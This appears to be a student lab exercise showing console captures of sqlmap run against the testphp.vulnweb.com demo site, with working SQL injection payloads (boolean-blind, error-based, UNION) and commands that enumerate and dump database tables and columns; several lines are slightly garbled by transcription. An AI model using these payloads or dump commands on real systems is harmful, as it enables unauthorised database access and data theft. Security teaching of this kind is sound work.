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Demonstrate how to use the SQLMAP tool to test a website for SQL Injection vulnerability.

[illegible]

```
C:\sqlmap>cd sqlmap
C:\sqlmap\sqlmap>sqlmap.py

  ____      _
 / ___|    / \   (1.6.2.5#dev)
/ /___|   / _ \
\___|___/_/ \_\_ https://sqlmap.org

Usage: sqlmap.py [options]

sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). Use -h for basic and --hh for advanced help

Press Enter to continue...

C:\sqlmap\sqlmap> sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbms

  ____      _
 / ___|    / \   (1.6.2.5#dev)
/ /___|   / _ \
\___|___/_/ \_\_ https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:09:33 /2022-02-25/

[22:09:35] [INFO] testing connection to the target URL
[22:09:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:09:36] [INFO] testing if the target URL content is stable
[22:09:37] [INFO] target URL content is stable
[22:09:37] [INFO] testing if GET parameter 'cat' is dynamic
[22:09:37] [INFO] GET parameter 'cat' appears to be dynamic
[22:09:37] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL')
[22:09:38] [INFO] heuristic (XSS) test shows that GET parameter 'cat' might be vulnerable to cross-site scripting (XSS) attacks
[22:09:38] [INFO] testing for SQL injection on GET parameter 'cat'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
```

```
[22:11:49] [INFO] fetched data logged to text files under 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com'

[*] ending @ 22:11:49 /2022-02-25/

C:\sqlmap\sqlmap>sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

  ____      _
 / ___|    / \   (1.6.2.5#dev)
/ /___|   / _ \
\___|___/_/ \_\_ https://sqlmap.org

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[*] starting @ 22:12:04 /2022-02-25/

[22:12:05] [INFO] resuming back-end DBMS 'mysql'
[22:12:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 9555=9555

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(1878,CONCAT(0x5c,0x716a707871,(SELECT (ELT(1878=1878,1))),0x71786b7a71))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707871,0x7357584c67614d53576b4c53754b58504247456358644e6773634f574d79674667487a435659666e,0x71786b7a71),NULL,NULL,-- --
--
[22:12:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[22:12:06] [INFO] fetched data logged to text files under 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com'

[*] ending @ 22:12:06 /2022-02-25/
```

```
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[*] starting @ 22:14:10 /2022-02-25/

[22:14:11] [INFO] resuming back-end DBMS 'mysql'
[22:14:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 9555=9555

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(1878,CONCAT(0x5c,0x716a707871,(SELECT (ELT(1878=1878,1))),0x71786b7a71))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707871,0x7357584c67614d53576b4c53754b58504247456358644e6773634f574d79674667487a435659666e,0x71786b7a71),NULL,NULL,-- --
--
[22:14:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[22:14:12] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
-----
| artists |
| carts  |
| categ  |
| featured |
| guestbook |
| pictures |
| products |
| users  |
|-----

[22:14:13] [INFO] fetched data logged to text files under 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com'

[*] ending @ 22:14:13 /2022-02-25/

C:\sqlmap\sqlmap>
```

```

Command Prompt
(1.6.2.5#dev)
https://sqlmap.org

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[*] starting @ 22:14:58 /2022-02-25/

[22:14:59] [INFO] resuming back-end DBMS 'mysql'
[22:14:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 9555-9555

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(1878,CONCAT(0x5c,0x716a707871,(SELECT (ELT(1878=1878,1))),0x71786b7a71))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707871,0x7357584c6761d453576b4c53754b58504247456358644e6773634f574d79674667487a435659666e,0x71786b7a71),NULL,NULL,--

[22:14:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.1
[22:15:00] [INFO] fetching columns for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 columns]
-----
| Column | Type |
-----
| adesc  | text |
| aname  | varchar(50) |
| artist_id | int |
-----

[22:15:00] [INFO] fetched data logged to text files under 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com'

[*] ending @ 22:15:00 /2022-02-25/

C:\sqlmap\sqlmap>

```

```

Command Prompt
C:\sqlmap\sqlmap>sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump

(1.6.2.5#dev)
https://sqlmap.org

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[*] starting @ 22:15:40 /2022-02-25/

[22:15:41] [INFO] resuming back-end DBMS 'mysql'
[22:15:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 9555-9555

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(1878,CONCAT(0x5c,0x716a707871,(SELECT (ELT(1878=1878,1))),0x71786b7a71))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a707871,0x7357584c6761d453576b4c53754b58504247456358644e6773634f574d79674667487a435659666e,0x71786b7a71),NULL,NULL,--

[22:15:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.1
[22:15:42] [INFO] fetching entries of column(s) 'aname' for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 entries]
-----
| aname |
-----
| r4u68173 |
| Blau3 |
| lyzae |
-----

[22:15:43] [INFO] table 'acuart.artists' dumped to CSV file 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com\dumplacuart\artists.csv'
[22:15:43] [INFO] fetched data logged to text files under 'C:\Users\shubh\AppData\Local\sqlmap\output\testphp.vulnweb.com'

```